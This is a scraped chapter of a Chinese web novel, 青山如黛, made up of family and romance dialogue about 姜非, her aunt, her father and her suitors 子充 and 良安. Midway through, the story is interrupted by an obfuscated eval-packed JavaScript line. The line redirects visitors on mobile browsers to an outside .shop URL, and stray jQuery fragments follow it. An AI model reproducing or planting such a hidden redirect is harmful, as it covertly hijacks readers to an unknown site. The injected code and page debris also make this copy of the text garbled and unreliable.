文趣网 > 其他小说 > 青山如黛 > 46. 南方
    “非儿,你究竟怎么回事?你为何与我都不说实话?”在屋中坐定后,姜玥发问了。

    “我不那么说,姑母哪能让我去?”姜非见姜玥面色不甚生气,说了实话。

    “你难道真去了长葛?那么危险你为何要去啊?”

    “我是担心他出事了,往后便见不到了。”姜非的眼神有些委屈。

    姜玥见此,心里舍不得她,叹了口气,“你心里只想着他,我们呢?你可曾想过你父亲与我?”她说着,更是难受,“你父亲就你一个孩子,你若是出了事,我们……”她有些哽咽。

    姜非自知有错,低头垂眼,“我不是好好地回来了吗?”她仍旧嘴硬,小声说着。

    “你还带着伤回来了!”姜玥凑上前仔细看她脸上的伤,长叹一声,“哎!你可真是傻!”姜玥用手指狠狠点她的脑袋,突然神色一慌,严肃问道:“非儿,你这几日一直同他在一起?”

    “嗯。”

    “你们,未做什么吧?”

    “当然做了!”

    “啊?”姜玥顿时慌了,瞪眼张嘴屏住了呼吸。

    “射箭、看书、下棋……”

    姜玥屏着的一口气终于呼了出来。

    “哎!他还送我一把弓,特别特别厉害!射程很远,还不费力,我便是用这把弓射中了宋公的头盔!”姜非摇头晃脑地说着,便要起身去取弓。

    “我取来于姑母看。”

    “行了行了!你回来!”姜玥一把拉住她。

    “我不是问这个。”

    “那姑母问什么?”姜非不解。

    “你与子充啊,可做了什么……特别的事?”

    姜非仔细一想,一定神,伸着一根食指说道:“有!今日早上。”

    姜玥的脸都僵住了,提起一口气盯着她,等她说下去。

    “我们骑马去了,”姜非一想起来仍旧兴奋,满脸洋溢着笑,手掌轻拍着桌面,“还是去的东郊,从前我们就去过。”

    姜玥又松下这口气。

    “就骑马了?”

    “哎,还有刚才说的,射箭下棋什么的,他很忙,白日都不在家,晚上才回来……”

    “那晚上你们在一起做什么?”

    “说说话……”姜非黑白分明的眼萌萌地看着姜玥。

    “哦……未做其他事吧?”

    姜非仔细看着姜玥有些焦急的眼神,终于猜到她在问什么了,慢慢抿嘴笑了起来,突然又一阵紧张。

    “哎呀!我们抱了抱,这没事吧?”姜非吓得一手捧脸,一手拉着姜玥的手,深吸一口气望着她。

    “就只是抱了抱?”姜玥抓着她追问。

    “嗯。”姜非脸颊微红。

    “那好那好,抱抱没事,未瞒骗我吧?可不能与男子太亲密。”

    姜非想起她蹭过他脖子,他也蹭过她脖子……

    “怎样才算是太亲密?太亲密会如何?”她小声讨教。

    “男女一起,太亲密就该有孩子了。”

    “啊!怎么样会有孩子?”姜非瞪眼惊异地望着姜玥。

    姜玥思索了一番,“两人要是……不穿衣服睡一起,便可能有孩子。”

    “那只要穿着衣服便无妨?”

    “无妨。”

    姜非放下心来,随即她又起了好奇心,亮着眼探向姜玥,“那孩子从哪里来?如何会……”

    “行了!”姜玥脸都挂不住了,提高嗓音打断她:“等你成亲时再说!”

    见她睁得圆圆的眼,脸颊上一道痕,姜玥心中一酸,多漂亮的姑娘,如此干等了五年!好不容易等到了,为何还要分开他们呢?脸上还多了道痕,哎!姜玥叹了口气。

    “姑母怎么了?”

    “没什么。你这个傻姑娘!我就是想啊,你都这么大了,别人在这年纪,都有孩子了。”她轻抚她微乱的发丝。

    姜非略有羞涩,低头说道:“我也能结亲,但父亲又不同意。”

    “与那子充?就算你父亲同意了,他也未必能娶你。”

    “能啊!他说等他从南方回来,便来府上纳采。”姜非眼里闪着光,高兴地望着姜玥。

    “他亲口说的?”

    “嗯!姑母,你要帮我劝劝父亲。让他同意才好。”姜非拉着她的手摇晃着。

    “这子充,只听你说,我竟从未见过,哪天我得见见,看看这人究竟如何,把你迷成这样。”姜玥笑她。

    “好!有机会见见!”一个念头闪过脑际,姜非拉起姜玥的手,“要不……明日我带你去见他?”她兴奋地看着她。

    “你最近不许出门!”

    “哦,行行!有机会再说!”

    “你方才说他要去哪?”

    “南方。”

    “他去南方做什么?”

    “有事呗。我也不清楚。”姜非想起颜原的身份是个秘密,不可多说。

    “那等他回来再说吧!得去挺久吧?”

    “得一两个月。”

    “那等等。非儿,你父亲也是为你好。他盼你过得好,他不想你出事。”

    “我知道。”姜非懂事地点点头。

    “你瞒着我们自己跑他那去,的确不对!这几天你听话,就不要往外跑了,老实待几天再说。别再让你父亲生气。”

    “嗯。”姜非心里又在寻思,子充要离开都没法送……等他送信来再说吧。

    小桃进来送饭。

    “你脸上有伤,暂时莫吃肉酱。”姜玥看着小桃摆碗碟。

    姜非听着心里一沉,正觉失落,旋即瞥见肉片,稍感安慰。

    “你且慢慢吃,我先走了。”姜玥说罢起身离开。

    终于不再是菜粥,姜非心中欢喜,方才被父亲责骂的阴霾被一扫而空。看着一桌的菜食,忽然想起子充,怅然若失。

    “她怎么样?”姜耳见姜玥进来,问道。

    “她能怎么样?你以为她会内疚难过啊?她开心着呢!说那子充从南方回来便来府上纳采。”

    “纳采?”

    “子充同她说的。”

    姜耳长叹一口气,低头沉思。

    “为何叹气?”姜玥看他不说话,又接着说道:“这位子充公子,我从未曾见过,兄长应见过吧?他人究竟如何?”

    “人是确实不错,可算才貌双全。他这次回来,相较从前,又多了几分成熟稳重。前几日的长葛之战,他只向郑公借了二百兵士,竟就让宋公退了兵。我亦不知他是如何做到。”

    “那非儿眼光不错啊?”

    “从前有宋公追杀,他这几年杳无音讯,却突然回来……之后便有了这长葛一战,他这……是早有谋划的。”姜耳凝着眼神,叹了口气。

    “兄长为何又叹气?”

    “他毕竟身处险境,宋君应仍不会放过他……这次,非儿是脸上受了一箭,下次呢?”

    “那该如何是好?非儿也等了他五年,难道要分开他们?”姜玥刚有些笑意的脸又沉了下去,泄下气来,定定地看着前方。

    “且看他接下来如何做,毕竟他还未来纳采。他俩要成亲,哪会如此简单?”姜耳低头看地慢慢摇着头。

    姜玥低头暗自思忖。

    “先不去说这些了,先关她几天。她太不像话,竟敢瞒着我们私自跑出去!”姜耳正色说道。

    姜玥忧郁片刻,抬眼看姜耳,“兄长,非儿已二十一了,她不是孩子了。只是……我们一直把她当孩子看。”

    姜玥见他眼中闪过些许忧伤,接着说道:“公主当年,偷着跑出来找你时,才多大年纪?比非儿还小几岁。非儿早晚要嫁出去,也不会在咱们身边呆多久了……”

    姜耳面色动容,扭头看向窗外,一道夕阳的余光落在他脸上,他的眼睛似乎在微微颤抖,许久未说话。

    “一眨眼她这么大了。我们把她养得很好吧?”姜玥悠悠道,“这孩子是有些脾气,但善良聪慧,做事也有分寸,公主若见她如此,应是很欣慰。”

    “她确实像她母亲一般犟。”姜耳嘴角微翘。

    “她哪有你犟?”姜玥对他笑笑。

    姜耳笑着点了点头。

    “公主若是还在,定不会将他们分开。她都等他五年了,人一辈子才多少年?她大了,想做什么就让她去吧。”姜玥说着抬眼看姜耳,“说起来,那子充也等了她五年,他对非儿应是真心。再说,那子充公子难道不比兄长当年强?”

    姜耳微笑着自嘲摇头,“他比我强。”

    “那不就得了。”

    “到时再说吧!这次还是先关她几天。”

    “好,这次就依兄长。”

    “你刚才是说子充去南方?”姜耳突然问道。

    “嗯,说去办事,得个把月。”姜玥说着,突然想到什么,惊道,“非儿不能跟着去吧?”

    “不能,这么远她应不敢偷偷走。子充也是有分寸之人,应不会带她去。不过还是看紧着点。”

    “他去南方做什么?那边不是蛮夷之地吗?”姜玥问。

    “南方的那些散乱小国,地处偏远,应无结盟的意义。”姜耳沉思着,“不过,南方物产繁多……”

    姜玥看向姜耳,两人未再说话。

    这日,良安与他母亲突然来了姜府。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594023|202655||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “你们怎有空来了?”姜玥笑着迎出堂屋。

    “有日子未见了,过来看看,与你说说话。”良夫人爽朗地笑道。

    “良安见过伯母。”良安行礼。

    姜玥看着良安,让他免礼。她寻思,如此好的公子,与姜非的事恐怕是没有希望了,心中总觉得遗憾。再一想,他不会是冲着非儿来的吧?若如此,真不知该如何对良夫人说了。从前两人一直忙着想撮合他俩,但子充那边……如今也没个定数,这状况真的有些尴尬。

    “良夫人最近都好吗?”姜玥笑着与良夫人寒暄。

    “自然都好,”良夫人依旧是乐呵呵的样子,与姜玥互道家常。

    良安在一边扯了扯良夫人的袖子。

    良夫人抬眼看他一眼,立刻会意,笑着问姜玥,“为何未见非儿姑娘?都许久未见了。听说最近也未去射练场?”良夫人说着抬眼看良安。

    “未曾来。”良安回复。

    “噢,”姜玥心想果真是冲着非儿来的,“她最近几日都在家中未出门。”

    “她身体不舒服?”良安问道。

    “没有没有,她很好。我唤她过来。”姜玥说罢便吩咐人去叫姜非。

    没过一会,小桃过来了,“禀夫人,小主说她被禁足,怕大人责罚,不便出屋门。”

    姜玥一脸尴尬,看着良夫人道:“哦,没事!非儿最近做错了点事,她父亲罚她这几日不得出门。”

    “那我过去找她,可方便?”良安问道。

    姜玥见良安也不似先前那满脸笑容的模样,想来他是放不下非儿,因此有些过意不去。

    “小桃,你带良公子去花园,让非儿去花园见他。”姜玥吩咐着,又转头笑着看向良安,“但我也不知她见不见,她最近脾气有些大。”

    自子充回来,姜非便刻意疏远良安。他从未经此心境,整日茫然失措,未曾想到姜非的突然离开,竟会让他如此难受。

    前些日子姜非还隔三差五地回趟射练营,最近几日竟毫无音信。他越发想她,心里发慌,担心她是否会出事,莫不是与子充又分开了?在家伤心?那他岂不是还有机会?但也不敢来找她,非拉着母亲一起来看看。

    良安站在园中树下等着,面前池子里的荷花正开得繁茂。他忆起头一次来姜府,也是这时节,也是如此景致。姜非穿着一件藕黄色织锦上衣,棕色阔锦领缘,很美。她不情不愿地带着他,在这园中转了一圈,当时还聊了下棋?

    他低头看着身旁那块光如棋案的大青石,一如从前。那时,她心里应装着别人,如今更是了。

    “你怎么来了?”姜非的声音从身后传来,听上去很欢快。

    看来他们合好了,他苦笑着摇了摇头,回身看着她笑着走过来。

    她穿着便衣,头发随意梳在一起。小桃跟在后面给她端着盛零嘴的盘子。

    良安想,她穿得如此随意,看来是真把他当兄长了。不过,至少还愿意见他。

    良安看着她开心美好的样子,喜欢却又求而不得的伤痛更加深了几分。

    “看你最近都未来射练营,怕你出了什么事,来看看。”良安笑道。

    “没事,只是最近这几日未出去,我都懒得梳头换衣,不便去堂屋见客。”

    小桃把零嘴盘子放青石案上,转身离开了。

    “反正你过来也一样,我正好可以出来透透气。我还有事找你呢!”她对着他笑笑。

    “你为何看着不太开心?怎么了?射练营有事?”见他不说话,姜非问道。

    “没有,都还好。我母亲刚好过来找你姑母说话,我便也一起过来看看。”良安脸上挤出一丝笑,看了看她。

    “你的脸怎么了?”良安见到她脸上的伤痕。

    姜非抬手摸了下,“痂都掉了,还如此明显吗?”

    “还可以,不太明显,怎么弄的?”良安话里有几分温情。

    “箭飞过去擦伤了。”姜非不想细说,摆了摆手。

    “哦。箭伤?”良安询问着看她。

    “嗯。”姜非点点头,“正要同你说这事,”姜非笑望着他,“我想,过几日,待我可出屋了,还和从前一样,回射练营去,如何?”

    “怎么?他同意?”他疑惑地看着姜非。

    “他为何不同意?我想去就去。我待在家中也无事可做。”姜非幸福地笑着。

    “那你便无时间陪他了。”

    “他又不用我陪。他忙得很,况且,他很快要去南方,得离开个把月。那我,不得找点事做吗?”

    “南方?”

    “南方。”